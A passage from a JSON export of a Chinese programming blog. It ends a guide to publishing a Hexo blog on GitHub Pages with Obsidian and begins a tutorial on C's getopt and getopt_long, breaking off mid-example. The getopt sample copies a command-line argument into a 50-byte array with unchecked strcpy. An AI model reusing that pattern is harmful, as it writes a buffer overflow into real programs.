来创建一篇新文章\u003c/li\u003e\u003cli\u003e用写作软件打开上面创建的文件,开始写作\u003c/li\u003e\u003cli\u003e完成之后,在命令行中输入 \u003ccode\u003ehexo clean \u0026amp;\u0026amp; hexo d\u003c/code\u003e 发布文章到GitHub\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e熟悉写作流程之后,就可以对博客进行进一步定制了,比如安装主题,安装其他插件等。后续我会列出来一些参考资料(\u003cem\u003e^-^\u003c/em\u003e)\u003c/p\u003e\u003ch3 id=\"Obsidian-Hexo-x3D\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#Obsidian-Hexo-x3D\" class=\"headerlink\" title=\"Obsidian+Hexo=?\"\u003e\u003c/a\u003eObsidian+Hexo=?\u003c/h3\u003e\u003cp\u003eObsidian(黑曜石)是一个很好用的专业Markdown写作和管理工具。下面我简单介绍下用Obsidian结合hexo进行博客写作的流程。\u003c/p\u003e\u003cp\u003e首先,安装\u003ca href=\"https://github.com/obsidianmd/obsidian-releases/releases/download/v1.1.9/Obsidian.1.1.9.exe\"\u003eObsidian\u003c/a\u003e,下不下来就用梯子。安装完成后打开你的博客文件夹:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230210143902.png\" alt=\"就中间那个打开本地仓库\"/\u003e\u003c/p\u003e\u003cp\u003e打开之后进入设置,在文件与链接最底下的忽略文件中添加\u003ccode\u003enode_modules\u003c/code\u003e、\u003ccode\u003escaffolds\u003c/code\u003e、\u003ccode\u003epublic\u003c/code\u003e和\u003ccode\u003ethemes\u003c/code\u003e四个文件夹。随后往上拉,存放新建笔记的文件夹改为\u003ccode\u003esource/_posts\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e还是在设置中,点击左侧\u003ccode\u003e模板\u003c/code\u003e,模板文件夹位置选择\u003ccode\u003escaffolds\u003c/code\u003e。然后关闭设置,点开\u003ccode\u003escaffolds\u003c/code\u003e目录:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230520234621.png\" alt=\"=。=\"/\u003e\u003c/p\u003e\u003cp\u003e改为下面的格式即可(author后面改成你自己的名字)。简单介绍下,title标题,date文章创建日期,author作者,toc目录(table of contents),excerpt文章简介,tags文章标签。\u003c/p\u003e\u003cp\u003e如果是使用部署方案2,那么只需要用obsidian打开仓库根目录,然后把scaffolds目录复制到博客目录里,然后改名成_scaffolds,然后把你要添加的模板添加到目录里,再在设置里改好,就能愉快地使用了。另外,不要忘了忽略node_modules之类的目录。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e到这里就配置完了。接下来讲讲写作流程:\u003c/p\u003e\u003cp\u003e打开Obsidian,新建文章并确定好标题。随后点击左侧模板图标,选择post模板,它会根据模板格式自动生成文章标题、作者、时间等文章元信息,随后就是写作了。\u003c/p\u003e\u003cp\u003e完成后,在博客目录打开命令行,运行\u003ccode\u003ehexo s\u003c/code\u003e预览博客发布后的效果,确认无误后使用\u003ccode\u003ehexo g \u0026amp;\u0026amp; hexo d\u003c/code\u003e来生成并发布博客到GitHub Pages。当然,如果还能折腾的动,还可以使用Obsidin的Git插件+Git命令在Obsidian中一键发布博客。\u003c/p\u003e\u003cp\u003e如果是使用方案2部署,那么就更简单了。直接把博客目录作为Markdown仓库打开,并设置好Obsidian Git插件,配置好模板目录。写作完成后,直接\u003ccode\u003eCtrl+P\u003c/code\u003e来commit+push就行,直接推送到远程仓库,让GitHub Actions帮你发布到html分支上。\u003c/p\u003e\u003cp\u003e这应该就是折腾的尽头了。如果你还想再折腾的话,那可以试试更改之前的workflow,来添加你的自定义操作,比如一键部署到你的服务器上,或者邮件通知发布结果之类的。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/"},{"title":"C语言命令行参数解析","time":"2022-11-22T12:28:42Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在编写需要命令行参数的C程序的时候,往往我们需要先解析命令行参数,然后根据这些参数来启动我们的程序。\u003c/p\u003e\u003cp\u003eC的库函数中提供了两个函数可以用来帮助我们解析命令行参数:getopt、getopt_long。\u003c/p\u003e\u003cp\u003egetopt可以解析短参数,所谓短参数就是指选项前只有一个“-”(如-t),而getopt_long则支持短参数跟长参数(如”–prefix”)。\u003c/p\u003e\u003ch2 id=\"getopt函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0%E8%A7%A3%E6%9E%90/#getopt%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"getopt函数\"\u003e\u003c/a\u003egetopt函数\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003egetopt\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"type\"\u003econst\u003c/span\u003e argv[],\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *optstring)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *optarg; \u003cspan class=\"comment\"\u003e//当前选项参数字串(如果有)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e optind; \u003cspan class=\"comment\"\u003e//argv的当前索引值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e各参数的意义:\u003c/p\u003e\u003cul\u003e\u003cli\u003eargc:通常为main函数中的argc\u003c/li\u003e\u003cli\u003eargv:通常为main函数中的argv\u003c/li\u003e\u003cli\u003eoptstring:用来指定选项的内容(如:”ab:c”),它由多个部分组成,表示的意义分别为:\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e单个字符,表示选项。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e单个字符后接一个冒号:表示该选项后必须跟一个参数。参数紧跟在选项后或者以空格隔开。该参数的指针赋给optarg。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e单个字符后跟两个冒号,表示该选项后可以跟一个参数,也可以不跟。如果跟一个参数,参数必须紧跟在选项后不能以空格隔开。该参数的指针赋给optarg。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e调用该函数将返回解析到的当前选项,该选项的参数将赋给optarg,如果该选项没有参数,则optarg为NULL。下面将演示该函数的用法\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e *argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e opt=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e50\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e((opt=getopt(argc,argv,\u003cspan class=\"string\"\u003e\u0026#34;ab:\u0026#34;\u003c/span\u003e))!=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e(opt)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e:a=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e:b=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(s,optarg);\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;option a\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(b)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;option b:%s\\n\u0026#34;\u003c/span\u003e,s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e编译之后可以如下调用该程序\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://images2015.cnblogs.com/blog/779368/201511/779368-20151106222621946-984318181.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"getopt-long函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0%E8%A7%A3%E6%9E%90/#getopt-long%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"getopt_long函数\"\u003e\u003c/a\u003egetopt_long函数\u003c/h2\u003e\u003cp\u003e与getopt不同的是,getopt_long还支持长参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;getopt.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003egetopt_long\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc, \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"type\"\u003econst\u003c/span\u003e argv[],\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *optstring,\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e option *longopts, \u003cspan class=\"type\"\u003eint\u003c/span\u003e *longindex)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e前面三个参数跟getopt函数一样(解析到短参数时返回值跟getopt一样),而长参数的解析则与longopts参数相关,该参数使用如下的结构\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eoption\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e//长参数名\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e    表示参数的个数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e    no_argument(或者0),表示该选项后面不跟参数值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e    required_argument(或者1),表示该选项后面一定跟一个参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e    optional_argument(或者2),表示该选项后面的参数可选\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e has_arg;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e//如果flag为NULL,则函数会返回下面val参数的值,否则返回0,并将val值赋予赋予flag所指向的内存\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e *flag;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e//配合flag来决定返回值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"type\"\u003eint\u003c/span\u003e val;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e参数longindex,表示当前长参数在longopts中的索引值,如果不需要可以置为NULL。\u003c/p\u003e\u003cp\u003e下面是使用该函数的一个例子\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;getopt.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e learn=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eoption\u003c/span\u003e \u003cspan class=\"title\"\u003elong_option\u003c/span\u003e[]=\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"string\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e,required_argument,\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#39;n\u0026#39;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"string\"\u003e\u0026#34;learn\u0026#34;\u003c/span\u003e,no_argument,\u0026amp;learn,\u003cspan class=\"number\"\u003e1\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e,\u003cspan class=\"number\"\u003e0\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e *argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e opt=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e((opt=getopt_long(argc,argv,\u003cspan class=\"string\"\u003e\u0026#34;n:l\u0026#34;\u003c/span\u003e,long_option,\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e))!=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e(opt)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;n\u0026#39;\u003c/span\u003e:\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;name:%s \u0026#34;\u003c/span\u003e,optarg); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(learn)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;learning\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan 